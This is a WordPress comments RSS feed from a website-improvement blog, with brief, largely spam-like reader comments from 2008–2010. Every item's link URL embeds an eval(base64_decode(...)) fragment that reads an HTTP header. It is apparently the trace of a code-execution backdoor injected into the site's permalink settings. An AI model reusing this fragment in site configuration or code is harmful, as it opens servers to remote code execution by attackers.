<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Comments for The Website Improvement  Blog- Flow20.com</title>
	<atom:link href="http://www.flow20.com/blog/comments/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.flow20.com/blog</link>
	<description>Filled with useful tips, resources and expert guidance on how to improve your website.</description>
	<lastBuildDate>Tue, 13 Apr 2010 14:27:54 -0700</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8</generator>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
		<item>
		<title>Comment on What is the purpose of the timer on your website? by Adrian</title>
		<link>http://www.flow20.com/blog/2009/10/27/how-old-is-the-internet/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/comment-page-1/#comment-2593</link>
		<dc:creator>Adrian</dc:creator>
		<pubDate>Tue, 13 Apr 2010 14:27:54 +0000</pubDate>
		<guid isPermaLink="false">http://www.flow20.com/blog/?p=309#comment-2593</guid>
		<description>Innovative idea :)</description>
		<content:encoded><![CDATA[<p>Innovative idea <img src='http://www.flow20.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on What is the purpose of the timer on your website? by Jeffrey</title>
		<link>http://www.flow20.com/blog/2009/10/27/how-old-is-the-internet/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/comment-page-1/#comment-1440</link>
		<dc:creator>Jeffrey</dc:creator>
		<pubDate>Tue, 09 Feb 2010 20:30:38 +0000</pubDate>
		<guid isPermaLink="false">http://www.flow20.com/blog/?p=309#comment-1440</guid>
		<description>Wow, Awesome post - I&#039;m such a newbie when it comes to all this, Thanks for this!</description>
		<content:encoded><![CDATA[<p>Wow, Awesome post &#8211; I&#8217;m such a newbie when it comes to all this, Thanks for this!</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Your Website Bounce Rate: Less is more by Bill Bartmann</title>
		<link>http://www.flow20.com/blog/2009/08/05/your-website-bounce-rate-less-is-more/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/comment-page-1/#comment-134</link>
		<dc:creator>Bill Bartmann</dc:creator>
		<pubDate>Sun, 06 Sep 2009 21:20:12 +0000</pubDate>
		<guid isPermaLink="false">http://www.flow20.com/blog1/?p=217#comment-134</guid>
		<description>Hey good stuff...keep up the good work! :)</description>
		<content:encoded><![CDATA[<p>Hey good stuff&#8230;keep up the good work! <img src='http://www.flow20.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Your Website Bounce Rate: Less is more by Bill Bartmann</title>
		<link>http://www.flow20.com/blog/2009/08/05/your-website-bounce-rate-less-is-more/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/comment-page-1/#comment-120</link>
		<dc:creator>Bill Bartmann</dc:creator>
		<pubDate>Wed, 02 Sep 2009 04:28:59 +0000</pubDate>
		<guid isPermaLink="false">http://www.flow20.com/blog1/?p=217#comment-120</guid>
		<description>Cool site, love the info.</description>
		<content:encoded><![CDATA[<p>Cool site, love the info.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Website Improvement Tips (Part 2) by Natalie</title>
		<link>http://www.flow20.com/blog/2009/08/31/website-improvement-tips-part-2/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/comment-page-1/#comment-118</link>
		<dc:creator>Natalie</dc:creator>
		<pubDate>Tue, 01 Sep 2009 15:54:48 +0000</pubDate>
		<guid isPermaLink="false">http://www.flow20.com/blog/?p=233#comment-118</guid>
		<description>Thanks F2! Just subscribed to your feed..</description>
		<content:encoded><![CDATA[<p>Thanks F2! Just subscribed to your feed..</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Your Website Bounce Rate: Less is more by Adrian</title>
		<link>http://www.flow20.com/blog/2009/08/05/your-website-bounce-rate-less-is-more/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/comment-page-1/#comment-108</link>
		<dc:creator>Adrian</dc:creator>
		<pubDate>Wed, 26 Aug 2009 12:38:06 +0000</pubDate>
		<guid isPermaLink="false">http://www.flow20.com/blog1/?p=217#comment-108</guid>
		<description>Good post. Although, bounce rate can be failry high for news sites since users only visit to review headlines.</description>
		<content:encoded><![CDATA[<p>Good post. Although, bounce rate can be failry high for news sites since users only visit to review headlines.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Looking beyond the first page by ooopinionsss</title>
		<link>http://www.flow20.com/blog/2008/11/10/look-beyond-the-first-page/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/comment-page-1/#comment-2</link>
		<dc:creator>ooopinionsss</dc:creator>
		<pubDate>Wed, 03 Dec 2008 11:06:12 +0000</pubDate>
		<guid isPermaLink="false">http://shirishagarwal.wordpress.com/?p=59#comment-2</guid>
		<description>How you think when the economic crisis will end? I wish to make statistics of independent opinions!</description>
		<content:encoded><![CDATA[<p>How you think when the economic crisis will end? I wish to make statistics of independent opinions!</p>
]]></content:encoded>
	</item>
</channel>
</rss>
